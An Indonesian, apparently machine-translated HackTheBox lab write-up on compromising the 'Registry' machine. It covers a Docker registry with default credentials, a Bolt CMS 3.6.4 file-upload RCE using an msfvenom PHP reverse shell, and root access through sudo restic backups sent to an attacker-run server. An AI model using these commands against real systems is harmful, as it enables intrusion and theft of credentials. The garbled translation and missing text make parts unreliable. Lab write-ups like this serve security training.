Saya terus menerbitkan solusi yang dikirim untuk diproses lebih lanjut dari situs HackTheBox . Saya berharap ini akan membantu setidaknya seseorang untuk berkembang di bidang keamanan informasi. Dalam artikel ini, kita akan menangani regisrty buruh pelabuhan, menjalankan RCE di CMS Bolt, dan meningkatkan hak istimewa dengan program cadangan Restic.Koneksi ke laboratorium adalah melalui VPN. Disarankan untuk tidak terhubung dari komputer kerja atau dari host di mana data penting bagi Anda tersedia, karena Anda berakhir di jaringan pribadi dengan orang-orang yang tahu sesuatu di bidang keamanan informasi :)Informasi Organisasi, - , :
- PWN;
- (Crypto);
- c (Network);
- (Reverse Engineering);
- (Stegano);
- WEB-.
, , , .
, ,
Telegram . , ,
.
. , - , .
Recon
Mesin ini memiliki alamat IP 10.10.10.159, yang saya tambahkan ke / etc / hosts.10.10.10.159 registry.htb
Pertama, kami memindai port terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, saya akan melakukan ini dengan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan kecepatan 1000 paket per detik.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.159 --rate=1000
Sekarang, untuk informasi lebih rinci tentang layanan yang beroperasi pada port, kami akan menjalankan pemindaian dengan opsi -A.nmap -A registry.htb -p22,80,443
Tuan rumah memiliki 3 port terbuka, sedangkan sertifikat (port 443) adalah untuk docker.registry.htb. Tambahkan juga ke / etc / hosts.10.10.10.159 docker.registry.htb
Ketika Anda beralih ke registry.htb, kami disambut oleh prompt nginx, dan ke docker.registry.htb, kami melihat halaman kosong.Mari kita beralih ke direktori menggunakan gobuster. Dalam parameter kami menunjukkan jumlah aliran 128 (-t), URL (-u), kamus (-w) dan ekstensi yang menarik bagi kami (-x).gobuster dir -t 128 -u registry.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
Backup.php tidak memberi kami apa-apa, di baut ada situs dengan CMS Bolt, dan di instal ada beberapa file, unduh.wget http://registry.htb/install/ -O ind
Dan kami mencari tahu apa file ini.
Kita dapat membaca "data terkompresi gzip" segera.
Dengan cara ini kami mendapatkan sertifikat, dan tautan ke dokumentasi referensi buruh pelabuhan.Dalam hal domain lain, tambahkan opsi -k untuk melewati verifikasi sertifikat.gobuster dir -t 128 -k -u docker.registry.htb:443 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
Sekarang mari kita pindah ke direktori v2, dan kita bertemu dengan otentikasi.
Dan admin kombinasi paling sederhana: admin memberi kita akses. Tuan rumah menjalankan registrasi buruh pelabuhan, oleh karena itu, sebagai berikut dari penjelasan berikut, kita akan melihat repositori-nya di alamat berikut: docker.registry.htb / v2 / _catalog .
Dan kami menemukan satu repositori.
Mari kita instal buruh pelabuhan dan beralih ke dokumentasi instalasi sertifikat.
Buka direktori / etc / docker dan tambahkan sertifikat dari arsip.sudo mkdir -p "certs.d/docker.registry.htb:443"
sudo nano certs.d/docker.registry.htb\:443/ca.crt
sudo chmod 0600 certs.d/docker.registry.htb:443/ca.crt
Sekarang masuk ke buruh pelabuhan.
Sekarang muat gambar.sudo docker pull docker.registry.htb:443/bolt-image:latest
Dan jalankan.sudo docker run -it docker.registry.htb:443/bolt-image:latest
Dan hal pertama yang kita lihat adalah SSH. Untungnya, ada kunci, serta konfigurasi, yang menjadi jelas bahwa pengguna kami baut.
Tetapi masalahnya adalah kunci tersebut dienkripsi. Ini berarti bahwa ketika terhubung, mereka akan meminta kata sandi. Hasilnya adalah pencarian dalam file untuk string "lulus".grep -i -r "pass" ./etc/
Script ini meminta kata sandi untuk mendekripsi kunci. Dan jawabannya diberikan di dalamnya.
Terhubung melalui ssh dengan kunci kami.
Ada file backup.php di host, mari kita lihat apa yang ada di dalamnya.
Beginilah cara sudo digunakan, dan tampaknya tanpa kata sandi. Tetapi baut membutuhkan kata sandi.
Ini berarti bahwa kita perlu mendapatkan pengguna layanan. Karena CMS Bolt digunakan, kita dapat mengakses database sqlite. Unduh itu.scp -i bolt_key bolt@10.10.10.159:/var/www/html/bolt/app/database/bolt.db ./
Mari kita mulai bekerja dengan database.sqlite3 bolt.db
Mari kita lihat tabelnya.
Dan dapatkan entri dari tabel bolt_users.
Jadi kami memiliki hash admin. Iterate menggunakan JTR.
Sekarang masuk ke Bolt sebagai admin. Dan kami mengamati versi 3.6.4.
Ada exploit untuk versi ini.
Kerentanannya adalah kita dapat menambah konfigurasi ekstensi file yang perlu kita unduh, dan kemudian mengunggah file. Mari kita buat file php dengan load (saya akan katakan sebelumnya bahwa itu tidak berfungsi untuk terhubung ke belakang; oleh karena itu, port 4321 diteruskan :) ssh -i ./bolt_key bolt@registry.htb -R:432:10.0.0.0:4321
.msfvenom -p php/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php
Dan jalankan pendengar.
Mari kita pergi melalui Konfigurasi -> Konfigurasi Utama dan menambahkan ekstensi php untuk dapat mengunduh file.
Selanjutnya, buka Manajemen File -> Unggah file dan tambahkan file. Setelah mengaksesnya, kita akan melihat koneksi.
Luncurkan bash shell, kami juga mengamati bahwa kami bekerja atas nama pengguna layanan.
Mari kita periksa sudo, perhatikan bahwa perintah dari backup.php dapat dijalankan di bawah sudo tanpa kata sandi.
Restic adalah program cadangan yang ditulis dalam Golang. Karena kita dapat membuat cadangan di bawah sudo, kita dapat menyalin seluruh direktori root. Pertama, mari kita pergi melalui port 8000.ssh -i ./bolt_key bolt@registry.htb -R:8000:0.0.0.0:8000
Instal dan jalankan rest-server (pada 8000 posting tanpa otentikasi).
Mari menghubungkan dan menginisialisasi cadangan (restr1).
Sekarang buat cadangan direktori root.
Cadangan disimpan di mesin lokal. Mari kita lihat semua file yang disimpan. Temukan kunci SSH.restic -r /tmp/restic/restr1/ ls latest
Kembalikan itu.
Menghubung
Kami memiliki akses penuh ke sistem.Anda dapat bergabung dengan kami di Telegram . Di sana Anda dapat menemukan materi yang menarik, kursus yang digabungkan, serta perangkat lunak. Mari kita mengumpulkan komunitas di mana akan ada orang-orang yang berpengalaman dalam banyak bidang TI, maka kita selalu dapat saling membantu dalam masalah TI dan keamanan informasi.